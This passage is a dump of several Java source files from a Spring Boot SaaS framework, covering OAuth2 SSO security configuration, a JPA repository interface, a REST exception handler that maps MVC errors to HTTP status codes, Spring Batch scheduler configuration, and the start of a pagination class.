* @modified: 2017-12-11
* @version:
*/
@Documented
@Retention(RUNTIME)
@Target(TYPE)
@EnableOAuth2Sso
@Import(SecurityClientConfig.class)
public @interface EnableOauthClient
{
}
<file_sep>/saas-security/src/main/java/com/zhjs/saas/security/config/SecurityClientConfig.java
package com.zhjs.saas.security.config;
import org.springframework.boot.autoconfigure.security.oauth2.client.EnableOAuth2Sso;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import com.zhjs.saas.core.annotation.CommonAutowired;
/**
*
* @author: <NAME>
* @since: 2017-12-12
* @modified: 2017-12-12
* @version:
*/
@Configuration
@CommonAutowired
@EnableOAuth2Sso
public class SecurityClientConfig extends WebSecurityConfigurerAdapter
{
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception
{
super.configure(auth);
}
@Override
public void configure(HttpSecurity http) throws Exception
{
http.authorizeRequests().anyRequest().authenticated();
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/dao/CommonRepository.java
package com.zhjs.saas.core.dao;
import java.io.Serializable;
import java.util.List;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.repository.NoRepositoryBean;
import org.springframework.jdbc.core.JdbcTemplate;
import com.zhjs.saas.core.dao.sql.SQLBuilder;
import com.zhjs.saas.core.pojo.BaseObject;
/**
*
* @author: <NAME>
* @since: 2017-05-22
* @modified: 2017-05-22
* @version:
*/
@NoRepositoryBean
public interface CommonRepository<T extends BaseObject, ID extends Serializable> extends JpaRepository<T,ID>
{
/**
* Saves a given entity and then evict it by hibernateTemplate.
* entity instance is clear without hibernate session.
*
* @param entity without hibernate session
* @return the saved entity
*/
<S extends T> S save(S entity);
/**
* Saves an entity and flushes changes instantly, and then evict it by hibernateTemplate.
*
* @param entity without hibernate session
* @return the saved entity
*/
<S extends T> S saveAndFlush(S entity);
/**
* Saves a given entity. Use the returned instance for further operations as the save operation might have changed the
* entity instance completely.
*
* @param entity with hibernate session
* @return the saved entity
*/
<S extends T> S persist(S entity);
/**
* Saves an entity and flushes changes instantly.
*
* @param entity with hibernate session
* @return the saved entity
*/
<S extends T> S persistAndFlush(S entity);
/**
* Retrieves an entity by its id and then evict it by hibernateTemplate.
* entity instance is clear without hibernate session.
*
* @param id must not be {@literal null}.
* @return the entity without hibernate session or {@literal null} if none found
* @throws IllegalArgumentException if {@code id} is {@literal null}
*/
T get(ID id);
public <E extends BaseObject> List<E> queryScript(SQLBuilder builder, Class<E> clazz, Object paramObject);
public JdbcTemplate getJdbcTemplate();
public CommonNamedParameterJdbcTemplate getNamedJdbcTemplate();
public <R extends CommonRepository<O,?>, O extends BaseObject> R commonDao(Class<O> type);
public <R extends CommonRepository<O,KEY>, O extends BaseObject, KEY extends Serializable> R commonDao(Class<O> type, Class<KEY> keyType);
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/dao/sql/SQLResolver.java
package com.zhjs.saas.core.dao.sql;
import static com.zhjs.saas.core.config.PropertyConfig.*;
import org.springframework.core.env.Environment;
/**
*
* @author: <NAME>
* @since: 2017-07-25
* @modified: 2017-07-25
* @version:
*/
public class SQLResolver
{
public void init(Environment env)
{
SQL.init(env.getProperty(SQL_Path_Prefix),
env.getProperty(SQL_File_Encoding),
env.getProperty(SQL_Comment));
SQL.initCache();
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/util/MethodUtil.java
/**
*
*/
package com.zhjs.saas.core.util;
import java.lang.reflect.InvocationTargetException;
import org.apache.commons.beanutils.MethodUtils;
/**
* @author: <NAME>
* @since: 2017-05-10
* @modified: 2017-05-10
* @version:
*/
public abstract class MethodUtil extends MethodUtils {
/**
* Private constructor to prevent instantiation.
*/
private MethodUtil(){}
public static Object invoke(Object object, String methodName, Object... args)
{
Object obj = new Object();
try {
obj = MethodUtils.invokeMethod(object, methodName, args);
} catch (NoSuchMethodException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalAccessException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (InvocationTargetException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return obj;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/annotation/BeanComponent.java
package com.zhjs.saas.core.annotation;
import static java.lang.annotation.ElementType.TYPE;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
import java.lang.annotation.Documented;
import java.lang.annotation.Inherited;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import org.springframework.core.annotation.AliasFor;
import org.springframework.stereotype.Component;
/**
*
* @author: <NAME>
* @since: 2018-02-08
* @modified: 2018-02-08
* @version:
*/
@Documented
@Retention(RUNTIME)
@Target(TYPE)
@Inherited
@Component
@CommonAutowired
public @interface BeanComponent
{
/**
* The value may indicate a suggestion for a logical component name,
* to be turned into a Spring bean in case of an autodetected component.
* @return the suggested component name, if any (or empty String otherwise)
*/
@AliasFor(annotation=Component.class, attribute="value")
String value() default "";
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/exception/CommonExceptionHandler.java
package com.zhjs.saas.core.exception;
import java.io.IOException;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import javax.annotation.PostConstruct;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.hibernate.HibernateException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.ConversionNotSupportedException;
import org.springframework.beans.TypeMismatchException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.env.Environment;
import org.springframework.dao.DataAccessException;
import org.springframework.dao.EmptyResultDataAccessException;
import org.springframework.http.MediaType;
import org.springframework.http.converter.HttpMessageNotReadableException;
import org.springframework.http.converter.HttpMessageNotWritableException;
import org.springframework.util.CollectionUtils;
import org.springframework.util.StringUtils;
import org.springframework.validation.BindException;
import org.springframework.validation.BindingResult;
import org.springframework.web.HttpMediaTypeNotAcceptableException;
import org.springframework.web.HttpMediaTypeNotSupportedException;
import org.springframework.web.HttpRequestMethodNotSupportedException;
import org.springframework.web.bind.MethodArgumentNotValidException;
import org.springframework.web.bind.MissingPathVariableException;
import org.springframework.web.bind.MissingServletRequestParameterException;
import org.springframework.web.bind.ServletRequestBindingException;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestPart;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.springframework.web.context.request.async.AsyncRequestTimeoutException;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.support.MissingServletRequestPartException;
import org.springframework.web.servlet.NoHandlerFoundException;
import com.zhjs.saas.core.config.PropertyConfig;
import com.zhjs.saas.core.util.ArrayUtil;
import com.zhjs.saas.core.util.MessageUtil;
import com.zhjs.saas.core.util.StringUtil;
/**
*
* @author: <NAME>
* @since: 2017-05-17
* @modified: 2017-05-17
* @version:
*/
@RestControllerAdvice
public class CommonExceptionHandler
{
private Logger logger = LoggerFactory.getLogger(getClass());
private final static String HTTP_STATUS_PREFIX = "reqeust.http.status.";
@Autowired
private Environment env;
private String[] tracePackages;
@PostConstruct
public void init()
{
String[] packs = env.getProperty(PropertyConfig.Exception_Trace_Package, String.class, "").split(",");
tracePackages = new String[packs.length];
for(int i=0; i<packs.length; i++)
tracePackages[i] = StringUtil.trim(packs[i]);
}
@ExceptionHandler(BaseException.class)
@ResponseStatus
public ExceptionResponse handle(HttpServletRequest request, HttpServletResponse response, BaseException e) throws Exception
{
return handle(request, response, e, false);
}
public ExceptionResponse handle(HttpServletRequest request, HttpServletResponse response, BaseException e, boolean sentStatus) throws Exception
{
ExceptionResponse eReturn = new ExceptionResponse();
eReturn.setErrorCode(e.getErrorCode());
eReturn.setTraceID(e.getTraceID());
if( (e.getErrorModel()==null || !e.getErrorModel().containsKey(BaseException.CauseKey))
&& (requestErrorTrace(request) || env.getProperty(PropertyConfig.Exception_Global_Trace, Boolean.class, false)) )
parsingStackTrace(e, e);
eReturn.setData(e.getErrorModel());
String msg = MessageUtil.getMessage(e.getErrorCode(), e.getArguments());
if(StringUtil.isBlank(e.getErrorMsg()))
eReturn.setMessage(msg);
if(!sentStatus)
sendServerError(e, request, response);
logger.error(msg, e);
return eReturn;
}
@ExceptionHandler(Exception.class)
@ResponseStatus
public ExceptionResponse handle(HttpServletRequest request, HttpServletResponse response,
Object handler, Exception e) throws Exception
{
BaseException ex = resolveException(request, response, handler, e);
return handle(request, response, ex, true);
}
protected BaseException resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception e)
{
try
{
BaseException t;
if (e instanceof HttpRequestMethodNotSupportedException) {
t = handleHttpRequestMethodNotSupported((HttpRequestMethodNotSupportedException) e, request,
response, handler);
}
else if (e instanceof HttpMediaTypeNotSupportedException) {
t = handleHttpMediaTypeNotSupported((HttpMediaTypeNotSupportedException) e, request, response,
handler);
}
else if (e instanceof HttpMediaTypeNotAcceptableException) {
t = handleHttpMediaTypeNotAcceptable((HttpMediaTypeNotAcceptableException) e, request, response,
handler);
}
else if (e instanceof MissingPathVariableException) {
t = handleMissingPathVariable((MissingPathVariableException) e, request,
response, handler);
}
else if (e instanceof MissingServletRequestParameterException) {
t = handleMissingServletRequestParameter((MissingServletRequestParameterException) e, request,
response, handler);
}
else if (e instanceof ServletRequestBindingException) {
t = handleServletRequestBindingException((ServletRequestBindingException) e, request, response,
handler);
}
else if (e instanceof ConversionNotSupportedException) {
t = handleConversionNotSupported((ConversionNotSupportedException) e, request, response, handler);
}
else if (e instanceof TypeMismatchException) {
t = handleTypeMismatch((TypeMismatchException) e, request, response, handler);
}
else if (e instanceof HttpMessageNotReadableException) {
t = handleHttpMessageNotReadable((HttpMessageNotReadableException) e, request, response, handler);
}
else if (e instanceof HttpMessageNotWritableException) {
t = handleHttpMessageNotWritable((HttpMessageNotWritableException) e, request, response, handler);
}
else if (e instanceof MethodArgumentNotValidException) {
t = handleMethodArgumentNotValidException((MethodArgumentNotValidException) e, request, response,
handler);
}
else if (e instanceof MissingServletRequestPartException) {
t = handleMissingServletRequestPartException((MissingServletRequestPartException) e, request,
response, handler);
}
else if (e instanceof BindException) {
t = handleBindException((BindException) e, request, response, handler);
}
else if (e instanceof NoHandlerFoundException) {
t = handleNoHandlerFoundException((NoHandlerFoundException) e, request, response, handler);
}
else if (e instanceof AsyncRequestTimeoutException) {
t = handleAsyncRequestTimeoutException(
(AsyncRequestTimeoutException) e, request, response, handler);
}
else if (e instanceof EmptyResultDataAccessException) {
sendServerError(e, request, response);
t = new DaoException(DaoException.Empty_Data, e);
}
else if (e instanceof DataAccessException || e instanceof SQLException || e instanceof HibernateException) {
sendServerError(e, request, response);
t = new DaoException(e);
}
else
{
t = new BaseException(BaseException.Not_Classified_Error, e.getMessage(), e);
/*StringWriter stackTrace = new StringWriter();
e.printStackTrace(new PrintWriter(stackTrace));
t.addErrorValue(BaseException.CauseKey, stackTrace);*/
if( env.getProperty(PropertyConfig.Exception_Global_Trace, Boolean.class, false) || requestErrorTrace(request))
parsingStackTrace(t, e);
sendServerError(e, request, response);
}
return t;
}
catch(Exception handlerException)
{
logger.warn("Handling of [" + e.getClass().getName() + "] resulted in Exception", handlerException);
return new BaseException(BaseException.Not_Classified_Error, e.getMessage(), e);
}
}
protected boolean requestErrorTrace(HttpServletRequest request)
{
return false;
}
/**
* @param t
* @param e
*/
protected void parsingStackTrace(BaseException t, Exception e)
{
List<String> causeTrace = new ArrayList<>();
StackTraceElement[] stackTrace = e.getStackTrace();
if(ArrayUtil.isEmpty(stackTrace))
return;
StackTraceElement first = stackTrace[0];
for(StackTraceElement element : stackTrace)
{
String trace = element.toString();
if(element==first)
{
causeTrace.add(trace);
continue;
}
for(String pack : this.tracePackages)
if(trace.startsWith(pack))
causeTrace.add(trace);
}
t.addErrorValue(BaseException.CauseKey, causeTrace);
t.addErrorValue(BaseException.MessageKey, e.getMessage());
}
/**
* Handle the case where no request handler method was found for the particular HTTP request method.
* <p>The default implementation logs a warning, sends an HTTP 405 error, sets the "Allow" header,
* and returns an empty {@code ModelAndView}. Alternatively, a fallback view could be chosen,
* or the HttpRequestMethodNotSupportedException could be rethrown as-is.
* @param ex the HttpRequestMethodNotSupportedException to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler, or {@code null} if none chosen
* at the time of the exception (for example, if multipart resolution failed)
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleHttpRequestMethodNotSupported(HttpRequestMethodNotSupportedException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
logger.warn(ex.getMessage());
String[] supportedMethods = ex.getSupportedMethods();
if (supportedMethods != null) {
response.setHeader("Allow", StringUtils.arrayToDelimitedString(supportedMethods, ", "));
}
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, ex.getMessage());
return new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_METHOD_NOT_ALLOWED, ex);
}
/**
* Handle the case where no {@linkplain org.springframework.http.converter.HttpMessageConverter message converters}
* were found for the PUT or POSTed content.
* <p>The default implementation sends an HTTP 415 error, sets the "Accept" header,
* and returns an empty {@code ModelAndView}. Alternatively, a fallback view could
* be chosen, or the HttpMediaTypeNotSupportedException could be rethrown as-is.
* @param ex the HttpMediaTypeNotSupportedException to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleHttpMediaTypeNotSupported(HttpMediaTypeNotSupportedException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
response.sendError(HttpServletResponse.SC_UNSUPPORTED_MEDIA_TYPE);
List<MediaType> mediaTypes = ex.getSupportedMediaTypes();
if (!CollectionUtils.isEmpty(mediaTypes)) {
response.setHeader("Accept", MediaType.toString(mediaTypes));
}
return new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_UNSUPPORTED_MEDIA_TYPE, ex);
}
/**
* Handle the case where no {@linkplain org.springframework.http.converter.HttpMessageConverter message converters}
* were found that were acceptable for the client (expressed via the {@code Accept} header.
* <p>The default implementation sends an HTTP 406 error and returns an empty {@code ModelAndView}.
* Alternatively, a fallback view could be chosen, or the HttpMediaTypeNotAcceptableException
* could be rethrown as-is.
* @param ex the HttpMediaTypeNotAcceptableException to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleHttpMediaTypeNotAcceptable(HttpMediaTypeNotAcceptableException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
response.sendError(HttpServletResponse.SC_NOT_ACCEPTABLE);
return new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_NOT_ACCEPTABLE, ex);
}
/**
* Handle the case when a declared path variable does not match any extracted URI variable.
* <p>The default implementation sends an HTTP 500 error, and returns an empty {@code ModelAndView}.
* Alternatively, a fallback view could be chosen, or the MissingPathVariableException
* could be rethrown as-is.
* @param ex the MissingPathVariableException to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
* @since 4.2
*/
protected BaseException handleMissingPathVariable(MissingPathVariableException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, ex.getMessage());
return new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_INTERNAL_SERVER_ERROR, ex);
}
/**
* Handle the case when a required parameter is missing.
* <p>The default implementation sends an HTTP 400 error, and returns an empty {@code ModelAndView}.
* Alternatively, a fallback view could be chosen, or the MissingServletRequestParameterException
* could be rethrown as-is.
* @param ex the MissingServletRequestParameterException to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleMissingServletRequestParameter(MissingServletRequestParameterException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, ex.getMessage());
HttpRequestException e = new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_BAD_REQUEST, ex);
e.setArguments(ex.getMessage());
return e;
}
/**
* Handle the case when an unrecoverable binding exception occurs - e.g. required header, required cookie.
* <p>The default implementation sends an HTTP 400 error, and returns an empty {@code ModelAndView}.
* Alternatively, a fallback view could be chosen, or the exception could be rethrown as-is.
* @param ex the exception to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleServletRequestBindingException(ServletRequestBindingException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, ex.getMessage());
HttpRequestException e = new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_BAD_REQUEST, ex);
e.setArguments(ex.getMessage());
return e;
}
/**
* Handle the case when a {@link org.springframework.web.bind.WebDataBinder} conversion cannot occur.
* <p>The default implementation sends an HTTP 500 error, and returns an empty {@code ModelAndView}.
* Alternatively, a fallback view could be chosen, or the TypeMismatchException could be rethrown as-is.
* @param ex the ConversionNotSupportedException to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleConversionNotSupported(ConversionNotSupportedException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
if (logger.isWarnEnabled()) {
logger.warn("Failed to convert request element: " + ex);
}
sendServerError(ex, request, response);
return new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_INTERNAL_SERVER_ERROR, ex);
}
/**
* Handle the case when a {@link org.springframework.web.bind.WebDataBinder} conversion error occurs.
* <p>The default implementation sends an HTTP 400 error, and returns an empty {@code ModelAndView}.
* Alternatively, a fallback view could be chosen, or the TypeMismatchException could be rethrown as-is.
* @param ex the TypeMismatchException to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleTypeMismatch(TypeMismatchException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
if (logger.isWarnEnabled()) {
logger.warn("Failed to bind request element: " + ex);
}
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
HttpRequestException e = new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_BAD_REQUEST, ex);
e.setArguments(ex.getMessage());
return e;
}
/**
* Handle the case where a {@linkplain org.springframework.http.converter.HttpMessageConverter message converter}
* cannot read from a HTTP request.
* <p>The default implementation sends an HTTP 400 error, and returns an empty {@code ModelAndView}.
* Alternatively, a fallback view could be chosen, or the HttpMediaTypeNotSupportedException could be
* rethrown as-is.
* @param ex the HttpMessageNotReadableException to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleHttpMessageNotReadable(HttpMessageNotReadableException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
if (logger.isWarnEnabled()) {
logger.warn("Failed to read HTTP message: " + ex);
}
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
HttpRequestException e = new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_BAD_REQUEST, ex);
e.setArguments(ex.getMessage());
return e;
}
/**
* Handle the case where a {@linkplain org.springframework.http.converter.HttpMessageConverter message converter}
* cannot write to a HTTP request.
* <p>The default implementation sends an HTTP 500 error, and returns an empty {@code ModelAndView}.
* Alternatively, a fallback view could be chosen, or the HttpMediaTypeNotSupportedException could be
* rethrown as-is.
* @param ex the HttpMessageNotWritableException to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleHttpMessageNotWritable(HttpMessageNotWritableException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
if (logger.isWarnEnabled()) {
logger.warn("Failed to write HTTP message: " + ex);
}
sendServerError(ex, request, response);
return new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_INTERNAL_SERVER_ERROR, ex);
}
/**
* Handle the case where an argument annotated with {@code @Valid} such as
* an {@link RequestBody} or {@link RequestPart} argument fails validation.
* An HTTP 400 error is sent back to the client.
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleMethodArgumentNotValidException(MethodArgumentNotValidException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
HttpRequestException e = new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_BAD_REQUEST, ex);
e.setArguments(ex.getMessage());
return e;
}
/**
* Handle the case where an {@linkplain RequestPart @RequestPart}, a {@link MultipartFile},
* or a {@code javax.servlet.http.Part} argument is required but is missing.
* An HTTP 400 error is sent back to the client.
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleMissingServletRequestPartException(MissingServletRequestPartException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, ex.getMessage());
HttpRequestException e = new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_BAD_REQUEST, ex);
e.setArguments(ex.getMessage());
return e;
}
/**
* Handle the case where an {@linkplain ModelAttribute @ModelAttribute} method
* argument has binding or validation errors and is not followed by another
* method argument of type {@link BindingResult}.
* By default, an HTTP 400 error is sent back to the client.
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
*/
protected BaseException handleBindException(BindException ex, HttpServletRequest request,
HttpServletResponse response, Object handler) throws IOException {
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
HttpRequestException e = new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_BAD_REQUEST, ex);
e.setArguments(ex.getMessage());
return e;
}
/**
* Handle the case where no handler was found during the dispatch.
* <p>The default implementation sends an HTTP 404 error and returns an empty
* {@code ModelAndView}. Alternatively, a fallback view could be chosen,
* or the NoHandlerFoundException could be rethrown as-is.
* @param ex the NoHandlerFoundException to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler, or {@code null} if none chosen
* at the time of the exception (for example, if multipart resolution failed)
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
* @since 4.0
*/
protected BaseException handleNoHandlerFoundException(NoHandlerFoundException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
response.sendError(HttpServletResponse.SC_NOT_FOUND);
return new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_NOT_FOUND, ex);
}
/**
* Handle the case where an async request timed out.
* <p>The default implementation sends an HTTP 503 error.
* @param ex the {@link AsyncRequestTimeoutException }to be handled
* @param request current HTTP request
* @param response current HTTP response
* @param handler the executed handler, or {@code null} if none chosen
* at the time of the exception (for example, if multipart resolution failed)
* @return an empty BaseException indicating the exception was handled
* @throws IOException potentially thrown from response.sendError()
* @since 4.2.8
*/
protected BaseException handleAsyncRequestTimeoutException(AsyncRequestTimeoutException ex,
HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
if (!response.isCommitted()) {
response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE);
}
else if (logger.isErrorEnabled()) {
logger.error("Async timeout for " + request.getMethod() + " [" + request.getRequestURI() + "]");
}
return new HttpRequestException(HTTP_STATUS_PREFIX+HttpServletResponse.SC_SERVICE_UNAVAILABLE, ex);
}
/**
* Invoked to send a server error. Sets the status to 500 and also sets the
* request attribute "javax.servlet.error.exception" to the Exception.
*/
protected void sendServerError(Exception ex, HttpServletRequest request, HttpServletResponse response)
throws IOException {
request.setAttribute("javax.servlet.error.exception", ex);
//response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
}
}
<file_sep>/saas-scheduler/src/main/java/com/zhjs/saas/scheduler/config/SimpleSchedulerConfig.java
package com.zhjs.saas.scheduler.config;
import org.springframework.batch.core.explore.JobExplorer;
import org.springframework.batch.core.launch.JobLauncher;
import org.springframework.batch.core.repository.JobRepository;
import org.springframework.transaction.PlatformTransactionManager;
/**
*
* @author: <NAME>
* @since: 2018-06-11
* @modified: 2018-06-11
* @version:
*/
public class SimpleSchedulerConfig extends AbstractSchedulerConfig
{
/* (non-Javadoc)
* @see com.zhjs.saas.scheduler.config.AbstractSchedulerConfig#jobRepository()
*/
@Override
public JobRepository jobRepository() throws Exception
{
// TODO Auto-generated method stub
return null;
}
/* (non-Javadoc)
* @see com.zhjs.saas.scheduler.config.AbstractSchedulerConfig#jobLauncher()
*/
@Override
public JobLauncher jobLauncher() throws Exception
{
// TODO Auto-generated method stub
return null;
}
/* (non-Javadoc)
* @see com.zhjs.saas.scheduler.config.AbstractSchedulerConfig#jobExplorer()
*/
@Override
public JobExplorer jobExplorer() throws Exception
{
// TODO Auto-generated method stub
return null;
}
/* (non-Javadoc)
* @see com.zhjs.saas.scheduler.config.AbstractSchedulerConfig#transactionManager()
*/
@Override
public PlatformTransactionManager transactionManager() throws Exception
{
// TODO Auto-generated method stub
return null;
}
}
<file_sep>/saas-scheduler/src/main/java/com/zhjs/saas/scheduler/config/AbstractSchedulerConfig.java
package com.zhjs.saas.scheduler.config;
import java.util.Collection;
import javax.sql.DataSource;
import org.springframework.batch.core.configuration.JobRegistry;
import org.springframework.batch.core.configuration.annotation.BatchConfigurer;
import org.springframework.batch.core.configuration.annotation.DefaultBatchConfigurer;
import org.springframework.batch.core.configuration.annotation.EnableBatchProcessing;
import org.springframework.batch.core.configuration.annotation.JobBuilderFactory;
import org.springframework.batch.core.configuration.annotation.StepBuilderFactory;
import org.springframework.batch.core.configuration.support.MapJobRegistry;
import org.springframework.batch.core.explore.JobExplorer;
import org.springframework.batch.core.launch.JobLauncher;
import org.springframework.batch.core.repository.JobRepository;
import org.springframework.batch.core.scope.JobScope;
import org.springframework.batch.core.scope.StepScope;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.ImportAware;
import org.springframework.core.annotation.AnnotationAttributes;
import org.springframework.core.type.AnnotationMetadata;
import org.springframework.transaction.PlatformTransactionManager;
import com.zhjs.saas.core.util.Assert;
/**
*
* @author: <NAME>
* @since: 2018-06-11
* @modified: 2018-06-11
* @version:
*/
public abstract class AbstractSchedulerConfig implements ImportAware
{
private BatchConfigurer configurer;
@Autowired
private DataSource defaultDataSource;
@Bean
public JobBuilderFactory jobBuilders() throws Exception
{
return new JobBuilderFactory(jobRepository());
}
@Bean
public StepBuilderFactory stepBuilders() throws Exception
{
return new StepBuilderFactory(jobRepository(), transactionManager());
}
@Bean
public abstract JobRepository jobRepository() throws Exception;
@Bean
public abstract JobLauncher jobLauncher() throws Exception;
@Bean
public abstract JobExplorer jobExplorer() throws Exception;
@Bean
public JobRegistry jobRegistry() throws Exception
{
return new MapJobRegistry();
}
@Bean
public abstract PlatformTransactionManager transactionManager() throws Exception;
@Override
public void setImportMetadata(AnnotationMetadata importMetadata)
{
AnnotationAttributes enabled = AnnotationAttributes
.fromMap(importMetadata.getAnnotationAttributes(EnableBatchProcessing.class.getName(), false));
Assert.notNull(enabled,
"@EnableBatchProcessing is not present on importing class " + importMetadata.getClassName());
}
protected BatchConfigurer getConfigurer(Collection<BatchConfigurer> configurers) throws Exception
{
if (this.configurer != null)
{
return this.configurer;
}
if (configurers == null || configurers.isEmpty())
{
if (defaultDataSource == null)
{
throw new IllegalStateException("Data source can not be null!!!");
}
DefaultBatchConfigurer configurer = new DefaultBatchConfigurer(defaultDataSource);
configurer.initialize();
this.configurer = configurer;
return configurer;
}
if (configurers.size() > 1)
{
throw new IllegalStateException(
"To use a custom BatchConfigurer the context must contain precisely one, found "
+ configurers.size());
}
this.configurer = configurers.iterator().next();
return this.configurer;
}
}
@Configuration
class ScopeConfiguration
{
private StepScope stepScope = new StepScope();
private JobScope jobScope = new JobScope();
@Bean
public StepScope stepScope()
{
stepScope.setAutoProxy(false);
return stepScope;
}
@Bean
public JobScope jobScope()
{
jobScope.setAutoProxy(false);
return jobScope;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/grid/Pagination.java
package com.zhjs.saas.core.grid;
import com.zhjs.saas.core.util.StringUtil;
import java.io.Serializable;
/**
*
* @author: <NAME>
* @since: 2017-05-19
* @modified: 2017-05-19
* @version:
*/
public class Pagination implements Serializable {
public final static String OrderAsc = "asc";
public final static String OrderDesc = "desc";
private static final long serialVersionUID = -1L;
private int pageSize;
private int recordCount;
private int currentPage;
private String sortBy;
private String sortOrder = OrderAsc;
private String sorting;
public Pagination()
{
this(PagingConstants.DEFAULT_PAGE_SIZE);
}
